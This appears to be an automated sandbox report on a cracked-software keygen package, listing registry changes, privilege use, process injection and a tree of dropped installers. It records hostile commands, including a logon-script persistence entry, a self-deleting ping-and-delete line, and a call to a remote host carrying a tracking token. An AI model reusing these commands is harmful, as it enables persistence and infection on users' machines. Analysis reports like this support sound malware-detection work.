\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{PEDLD6H3-W1C2-AP31-WRJR-WMIDOHREDO13}\1 = "2204" rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 998267c856add601 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings Full Program Features.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory MicrosoftEdge.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 3848 PING.EXE 3796 PING.EXE 4160 PING.EXE 5592 PING.EXE 9084 PING.EXE -
Script User-Agent 11 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 279 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 538 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 633 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 641 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 147 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 283 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 507 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 514 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 533 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 604 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 609 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 1628 setups.tmp 1628 setups.tmp 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 3312 multitimer.exe 1236 key.exe 1236 key.exe 4992 rundll32.exe 4992 rundll32.exe 1700 svchost.exe 1700 svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2032 Setup.exe Token: SeCreateTokenPrivilege 2104 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 2104 askinstall20.exe Token: SeLockMemoryPrivilege 2104 askinstall20.exe Token: SeIncreaseQuotaPrivilege 2104 askinstall20.exe Token: SeMachineAccountPrivilege 2104 askinstall20.exe Token: SeTcbPrivilege 2104 askinstall20.exe Token: SeSecurityPrivilege 2104 askinstall20.exe Token: SeTakeOwnershipPrivilege 2104 askinstall20.exe Token: SeLoadDriverPrivilege 2104 askinstall20.exe Token: SeSystemProfilePrivilege 2104 askinstall20.exe Token: SeSystemtimePrivilege 2104 askinstall20.exe Token: SeProfSingleProcessPrivilege 2104 askinstall20.exe Token: SeIncBasePriorityPrivilege 2104 askinstall20.exe Token: SeCreatePagefilePrivilege 2104 askinstall20.exe Token: SeCreatePermanentPrivilege 2104 askinstall20.exe Token: SeBackupPrivilege 2104 askinstall20.exe Token: SeRestorePrivilege 2104 askinstall20.exe Token: SeShutdownPrivilege 2104 askinstall20.exe Token: SeDebugPrivilege 2104 askinstall20.exe Token: SeAuditPrivilege 2104 askinstall20.exe Token: SeSystemEnvironmentPrivilege 2104 askinstall20.exe Token: SeChangeNotifyPrivilege 2104 askinstall20.exe Token: SeRemoteShutdownPrivilege 2104 askinstall20.exe Token: SeUndockPrivilege 2104 askinstall20.exe Token: SeSyncAgentPrivilege 2104 askinstall20.exe Token: SeEnableDelegationPrivilege 2104 askinstall20.exe Token: SeManageVolumePrivilege 2104 askinstall20.exe Token: SeImpersonatePrivilege 2104 askinstall20.exe Token: SeCreateGlobalPrivilege 2104 askinstall20.exe Token: 31 2104 askinstall20.exe Token: 32 2104 askinstall20.exe Token: 33 2104 askinstall20.exe Token: 34 2104 askinstall20.exe Token: 35 2104 askinstall20.exe Token: SeDebugPrivilege 3312 multitimer.exe Token: SeDebugPrivilege 4312 taskkill.exe Token: SeDebugPrivilege 4132 MicrosoftEdge.exe Token: SeDebugPrivilege 4132 MicrosoftEdge.exe Token: SeDebugPrivilege 4132 MicrosoftEdge.exe Token: SeDebugPrivilege 4132 MicrosoftEdge.exe Token: SeImpersonatePrivilege 1236 key.exe Token: SeTcbPrivilege 1236 key.exe Token: SeChangeNotifyPrivilege 1236 key.exe Token: SeCreateTokenPrivilege 1236 key.exe Token: SeBackupPrivilege 1236 key.exe Token: SeRestorePrivilege 1236 key.exe Token: SeIncreaseQuotaPrivilege 1236 key.exe Token: SeAssignPrimaryTokenPrivilege 1236 key.exe Token: SeDebugPrivilege 4640 multitimer.exe Token: SeImpersonatePrivilege 1236 key.exe Token: SeTcbPrivilege 1236 key.exe Token: SeChangeNotifyPrivilege 1236 key.exe Token: SeCreateTokenPrivilege 1236 key.exe Token: SeBackupPrivilege 1236 key.exe Token: SeRestorePrivilege 1236 key.exe Token: SeIncreaseQuotaPrivilege 1236 key.exe Token: SeAssignPrimaryTokenPrivilege 1236 key.exe Token: SeDebugPrivilege 4992 rundll32.exe Token: SeDebugPrivilege 4992 rundll32.exe Token: SeTcbPrivilege 1700 svchost.exe Token: SeDebugPrivilege 4992 rundll32.exe Token: SeDebugPrivilege 4992 rundll32.exe Token: SeDebugPrivilege 4992 rundll32.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1092 setups.exe 1628 setups.tmp 4132 MicrosoftEdge.exe 4728 MicrosoftEdgeCP.exe 4728 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1048 wrote to memory of 2192 1048 Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe 79 PID 1048 wrote to memory of 2192 1048 Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe 79 PID 1048 wrote to memory of 2192 1048 Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe 79 PID 2192 wrote to memory of 3612 2192 cmd.exe 82 PID 2192 wrote to memory of 3612 2192 cmd.exe 82 PID 2192 wrote to memory of 3612 2192 cmd.exe 82 PID 2192 wrote to memory of 1588 2192 cmd.exe 83 PID 2192 wrote to memory of 1588 2192 cmd.exe 83 PID 2192 wrote to memory of 1588 2192 cmd.exe 83 PID 2192 wrote to memory of 1192 2192 cmd.exe 84 PID 2192 wrote to memory of 1192 2192 cmd.exe 84 PID 2192 wrote to memory of 1192 2192 cmd.exe 84 PID 2192 wrote to memory of 2132 2192 cmd.exe 85 PID 2192 wrote to memory of 2132 2192 cmd.exe 85 PID 2192 wrote to memory of 2132 2192 cmd.exe 85 PID 3612 wrote to memory of 1236 3612 keygen-pr.exe 86 PID 3612 wrote to memory of 1236 3612 keygen-pr.exe 86 PID 3612 wrote to memory of 1236 3612 keygen-pr.exe 86 PID 2132 wrote to memory of 2032 2132 keygen-step-4.exe 87 PID 2132 wrote to memory of 2032 2132 keygen-step-4.exe 87 PID 1192 wrote to memory of 3172 1192 keygen-step-3.exe 88 PID 1192 wrote to memory of 3172 1192 keygen-step-3.exe 88 PID 1192 wrote to memory of 3172 1192 keygen-step-3.exe 88 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 1236 wrote to memory of 3448 1236 key.exe 90 PID 3172 wrote to memory of 3796 3172 cmd.exe 92 PID 3172 wrote to memory of 3796 3172 cmd.exe 92 PID 3172 wrote to memory of 3796 3172 cmd.exe 92 PID 2032 wrote to memory of 3312 2032 Setup.exe 93 PID 2032 wrote to memory of 3312 2032 Setup.exe 93 PID 2032 wrote to memory of 1092 2032 Setup.exe 95 PID 2032 wrote to memory of 1092 2032 Setup.exe 95 PID 2032 wrote to memory of 1092 2032 Setup.exe 95 PID 1092 wrote to memory of 1628 1092 setups.exe 96 PID 1092 wrote to memory of 1628 1092 setups.exe 96 PID 1092 wrote to memory of 1628 1092 setups.exe 96 PID 2132 wrote to memory of 2104 2132 keygen-step-4.exe 97 PID 2132 wrote to memory of 2104 2132 keygen-step-4.exe 97 PID 2132 wrote to memory of 2104 2132 keygen-step-4.exe 97 PID 2104 wrote to memory of 2292 2104 askinstall20.exe 99 PID 2104 wrote to memory of 2292 2104 askinstall20.exe 99 PID 2104 wrote to memory of 2292 2104 askinstall20.exe 99 PID 2292 wrote to memory of 4312 2292 cmd.exe 104 PID 2292 wrote to memory of 4312 2292 cmd.exe 104 PID 2292 wrote to memory of 4312 2292 cmd.exe 104 PID 3312 wrote to memory of 4548 3312 multitimer.exe 106 PID 3312 wrote to memory of 4548 3312 multitimer.exe 106 PID 4548 wrote to memory of 4640 4548 multitimer.exe 107 PID 4548 wrote to memory of 4640 4548 multitimer.exe 107 PID 2132 wrote to memory of 4672 2132 keygen-step-4.exe 108 PID 2132 wrote to memory of 4672 2132 keygen-step-4.exe 108 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 8904 attrib.exe 8348 attrib.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1012
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1304
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1860
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2556
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2744
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2736
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2644
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2504
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1356
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1172
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1112
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1032
-
C:\Users\Admin\AppData\Roaming\ajutrejC:\Users\Admin\AppData\Roaming\ajutrej2⤵PID:5988
-
-
C:\Users\Admin\AppData\Local\Temp\Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe"C:\Users\Admin\AppData\Local\Temp\Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3612 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
PID:3448
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:1588
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:3796
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Users\Admin\AppData\Local\Temp\PX0TJSR7HE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PX0TJSR7HE\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Users\Admin\AppData\Local\Temp\PX0TJSR7HE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PX0TJSR7HE\multitimer.exe" 1 3.1617436129.60681de16c463 1016⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Users\Admin\AppData\Local\Temp\PX0TJSR7HE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\PX0TJSR7HE\multitimer.exe" 2 3.1617436129.60681de16c4637⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Suspicious use of AdjustPrivilegeToken
PID:4640 -
C:\Users\Admin\AppData\Local\Temp\bmh501dynjr\vict.exe"C:\Users\Admin\AppData\Local\Temp\bmh501dynjr\vict.exe" /VERYSILENT /id=5358⤵PID:3816
-
C:\Users\Admin\AppData\Local\Temp\is-RRNS5.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-RRNS5.tmp\vict.tmp" /SL5="$700CA,870426,780800,C:\Users\Admin\AppData\Local\Temp\bmh501dynjr\vict.exe" /VERYSILENT /id=5359⤵PID:5316
-
C:\Users\Admin\AppData\Local\Temp\is-PG81N.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-PG81N.tmp\win1host.exe" 53510⤵PID:5688
-
C:\Users\Admin\AppData\Local\Temp\XOBl5caGH.exe"C:\Users\Admin\AppData\Local\Temp\XOBl5caGH.exe"11⤵PID:8020
-
C:\Users\Admin\AppData\Local\Temp\XOBl5caGH.exe"C:\Users\Admin\AppData\Local\Temp\XOBl5caGH.exe"12⤵PID:2280
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5688 -s 149211⤵
- Program crash
PID:6744
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kaxmmydzfch\KiffApp1.exe"C:\Users\Admin\AppData\Local\Temp\kaxmmydzfch\KiffApp1.exe"8⤵PID:5128
-
-
C:\Users\Admin\AppData\Local\Temp\izwry23q5eg\app.exe"C:\Users\Admin\AppData\Local\Temp\izwry23q5eg\app.exe" /8-238⤵PID:5388
-
C:\Users\Admin\AppData\Local\Temp\izwry23q5eg\app.exe"C:\Users\Admin\AppData\Local\Temp\izwry23q5eg\app.exe" /8-239⤵PID:5084
-
-
-
C:\Users\Admin\AppData\Local\Temp\1xkuzfh0wxc\ovftsh4evpr.exe"C:\Users\Admin\AppData\Local\Temp\1xkuzfh0wxc\ovftsh4evpr.exe" /VERYSILENT8⤵PID:5364
-
C:\Users\Admin\AppData\Local\Temp\is-D094N.tmp\ovftsh4evpr.tmp"C:\Users\Admin\AppData\Local\Temp\is-D094N.tmp\ovftsh4evpr.tmp" /SL5="$103A4,2592217,780800,C:\Users\Admin\AppData\Local\Temp\1xkuzfh0wxc\ovftsh4evpr.exe" /VERYSILENT9⤵PID:5568
-
-
-
C:\Users\Admin\AppData\Local\Temp\apkcuinhbvs\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\apkcuinhbvs\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:5440
-
C:\Users\Admin\AppData\Local\Temp\is-RRG76.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-RRG76.tmp\IBInstaller_97039.tmp" /SL5="$20330,14574851,721408,C:\Users\Admin\AppData\Local\Temp\apkcuinhbvs\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵PID:5624
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f10⤵PID:5252
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^¶m=10⤵PID:9508
-
-
C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"10⤵PID:7076
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\k40ylzeotto\vpn.exe"C:\Users\Admin\AppData\Local\Temp\k40ylzeotto\vpn.exe" /silent /subid=4828⤵PID:5528
-
C:\Users\Admin\AppData\Local\Temp\is-GOQ23.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-GOQ23.tmp\vpn.tmp" /SL5="$301E8,15170975,270336,C:\Users\Admin\AppData\Local\Temp\k40ylzeotto\vpn.exe" /silent /subid=4829⤵PID:5752
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:4148
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵PID:5488
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:2516
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:1772
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵PID:7608
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵PID:3944
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\i0dyycdntei\11nlplncoi4.exe"C:\Users\Admin\AppData\Local\Temp\i0dyycdntei\11nlplncoi4.exe" /quiet SILENT=1 AF=7568⤵PID:5612
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\i0dyycdntei\11nlplncoi4.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\i0dyycdntei\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617184180 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵PID:5044
-
-
-
C:\Users\Admin\AppData\Local\Temp\s5ff4kjt2sz\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\s5ff4kjt2sz\cpyrix.exe" /VERYSILENT8⤵PID:5356
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵PID:5604
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"10⤵PID:5960
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub10⤵PID:5860
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe11⤵PID:5584
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵PID:4496
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵PID:5448
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qmt4sqljwqq\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\qmt4sqljwqq\Setup3310.exe" /Verysilent /subid=5778⤵PID:5224
-
-
